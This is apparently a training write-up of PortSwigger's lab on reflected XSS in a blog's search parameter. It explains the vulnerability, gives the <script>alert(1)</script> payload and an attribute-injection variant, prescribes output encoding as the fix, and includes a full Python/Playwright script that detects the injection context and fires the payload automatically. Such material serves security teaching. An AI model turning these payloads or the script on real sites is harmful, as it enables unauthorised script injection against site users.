Reflected XSS into HTML context with nothing encoded
Original lab: Reflected XSS into HTML context with nothing encoded on PortSwigger ↗
Cross-site scripting is the vulnerability class that makes "don't trust the client" a rule instead of a suggestion — every reflected XSS bug ultimately comes down to a server taking a user's own input and echoing it back into a page as if it were trusted markup. This lab is the purest version of that mistake: a search box whose value goes straight into the HTML with no encoding at all. It's the natural starting point for a series on XSS because every other lab in this topic is a variation on the same question — where does our input land, and what does the page do with it before we can change that answer.
The Target
The application is a blog with a search feature. A normal search request looks like:
GET /?search=test
and the response echoes the search term back into the page, presumably to show the user what they searched for.
The Investigation
The only real question for a reflected parameter is where in the response it lands and whether anything encodes it on the way. We sent a search term and looked at the raw response: the value came back verbatim, sitting between two HTML tags rather than inside an attribute or a script block. No < or > had been converted to </>, and no quotes had been touched. That's the simplest possible context to work with — if the page will place our string directly into the body of the HTML, we don't need to break out of anything. We can just supply a tag.
The Exploit
We submitted the standard <script> payload directly as the search term:
GET /?search=<script>alert(1)</script>
The response contained the literal <script>alert(1)</script> tag inside the page body, and the browser parsed and executed it on load, firing the alert.
Comparing Notes: PortSwigger's Official Solution
PortSwigger's published solution is the same two steps: paste <script>alert(1)</script> into the search box and click Search. There's no divergence in technique here — this lab has exactly one intended path, and we took it. The only difference worth naming is delivery: their solution assumes manual entry into the search box through the lab's own UI, while we drove the same request directly with an HTTP client and confirmed execution with a headless browser listening for the alert() dialog. For a single unauthenticated GET request, those two approaches are functionally identical.
What This Teaches Us
Nothing about the search parameter suggested danger on its own — the risk was entirely in what the server did with it after the fact: concatenating unescaped user input into an HTML response is already a complete vulnerability, no filter bypass or context-breaking required. The fix is output encoding: HTML-encode <, >, &, and quote characters before writing user input into the page, so a browser sees <script> as literal text rather than a tag to parse. Every later lab in this series exists because some encoding or filtering *was* in place — this one is the baseline for what happens when there's none at all.
The automated solution
Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.
Show the solution script (Python)
#!/usr/bin/env python3
"""
Reflected XSS into HTML context with nothing encoded
PortSwigger Web Security Academy — Cross-Site Scripting (XSS)
Companion script for the writeup: 01-reflected-xss-html-context-nothing-encoded.md
What this does:
Injects a canary into the `search` parameter, confirms it reflects between
HTML tags with no encoding applied, then delivers the standard <script>
payload and confirms execution with a headless browser listening for the
alert() dialog (a plain HTTP client can't observe JS execution).
Usage:
python 01-reflected-xss-html-context-nothing-encoded.py <lab-url>
e.g. python 01-reflected-xss-html-context-nothing-encoded.py https://0a1b00fa03d9c8b6803b56b400eb00d5.web-security-academy.net
Requirements:
pip install httpx
pip install playwright && playwright install chromium
"""
import re
import sys
import urllib.parse
import httpx
from playwright.sync_api import sync_playwright
CANARY = "xssCANARY7531"
def classify_and_craft(client: httpx.Client, lab_url: str) -> str:
"""Reproduces detect_reflected_xss() + craft_xss_payload()'s html-context branch."""
r = client.get(lab_url, params={"search": CANARY})
if CANARY not in r.text:
raise RuntimeError("canary not reflected in 'search' parameter")
# Context classification: not inside <script>, not inside href=, not inside
# a tag attribute -- landing plainly between two HTML tags.
if re.search(rf"<script[^>]*>[^<]*{CANARY}", r.text, re.IGNORECASE | re.DOTALL):
context = "js_string"
elif re.search(rf'href="[^"]*{CANARY}', r.text, re.IGNORECASE):
context = "href"
elif re.search(rf"<[^>]+{CANARY}", r.text, re.IGNORECASE):
context = "attribute"
else:
context = "html"
print(f"[+] Context classified as: {context}")
angle_encoded = False
r = client.get(lab_url, params={"search": f"{CANARY}<>"})
if "<" in r.text or ">" in r.text:
angle_encoded = True
print("[*] Angle brackets are HTML-encoded")
else:
print("[*] Angle brackets are NOT encoded -- new tags can be injected")
if context == "html":
payload = '" onmouseover="alert(1)' if angle_encoded else "<script>alert(1)</script>"
else:
raise RuntimeError(f"unexpected context for this lab: {context}")
return payload
def solve(lab_url: str) -> None:
client = httpx.Client(base_url=lab_url, follow_redirects=True, timeout=20)
client.get("/") # warm up, grab session cookie
session = client.cookies.get("session", "")
domain = urllib.parse.urlparse(lab_url).netloc
payload = classify_and_craft(client, lab_url)
print(f"[*] Crafted payload: {payload}")
url = f"{lab_url}/?search={urllib.parse.quote(payload)}"
alert_fired = False
with sync_playwright() as p:
browser = p.chromium.launch(headless=True)
ctx = browser.new_context()
if session:
ctx.add_cookies([{"name": "session", "value": session, "domain": domain, "path": "/"}])
page = ctx.new_page()
def on_dialog(dialog):
nonlocal alert_fired
alert_fired = True
dialog.accept()
page.on("dialog", on_dialog)
try:
page.goto(url, wait_until="domcontentloaded", timeout=15000)
page.wait_for_timeout(3000)
except Exception:
pass
browser.close()
print(f"[{'+' if alert_fired else '-'}] alert() {'fired' if alert_fired else 'did NOT fire'}")
check = client.get("/")
if "Congratulations" in check.text:
print("[+] Lab solved.")
else:
print("[-] Not solved yet.")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <lab-url>")
sys.exit(1)
solve(sys.argv[1].rstrip("/"))
Related labs
- Stored XSS into HTML context with nothing encoded
- DOM XSS in document.write sink using source location.search
- DOM XSS in innerHTML sink using source location.search
- DOM XSS in jQuery anchor href attribute sink using location.search source
Want to go from zero to junior pentester?
These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.
Join the Free Live Webinar →